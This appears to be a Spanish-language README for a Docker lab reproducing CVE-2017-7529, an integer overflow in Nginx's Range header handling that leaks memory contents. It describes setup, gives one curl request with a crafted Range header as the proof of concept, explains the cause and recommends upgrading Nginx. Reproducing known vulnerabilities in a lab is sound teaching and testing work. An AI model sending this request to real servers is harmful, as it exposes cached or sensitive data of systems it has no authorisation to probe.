CVE-2017-7529-Desbordamiento de Entero en el Encabezado Range de Nginx
- Nginx es un servidor web de alto rendimiento y un servidor proxy inverso, de caché, etc., ampliamente utilizado.
- En versiones de Nginx 1.13.2 e inferiores, existe una vulnerabilidad de desbordamiento de enteros que permite a un atacante manipular el encabezado Range para filtrar fragmentos de memoria o información sensible fuera del rango de respuesta original.
Referencia
Configuración del entorno vulnerable
- Ejecute el siguiente comando para iniciar el entorno Nginx vulnerable.
bash
docker compose up -d
- Una vez que el servidor se haya iniciado, puede acceder a la siguiente dirección desde su navegador:
arduino
http://your-ip:8080
- Se mostrará la página predeterminada de Nginx o una página index.html personalizada.
Reproducción de la vulnerabilidad
- Utilice el comando curl para enviar una solicitud maliciosa con el encabezado Range:
bash
curl -v -H "Range: bytes=-9223372036854,5" http://your-ip:8080/
Resumen del principio de funcionamiento
- Esta vulnerabilidad ocurre debido a un desbordamiento en el cálculo de enteros positivos y negativos al procesar solicitudes Range, lo que provoca que la respuesta incluya áreas de memoria no previstas.
- A través de esto, un atacante puede extraer datos en caché o parte de información sensible.
Conclusión
- Esta vulnerabilidad puede provocar una divulgación de información (Information Disclosure) con una simple solicitud HTTP.
- Si se incluye información de configuración sensible u otros datos susceptibles de filtración, puede dar lugar a un grave incidente de seguridad.
- Parche: se recomienda actualizar a Nginx 1.13.3 o superior.
Ejemplo de estructura de archivos de referencia
bash
CVE-2017-7529/
├── Dockerfile
├── docker-compose.yml
├── nginx.conf
├── index.html
└── README.md <-- 본 문서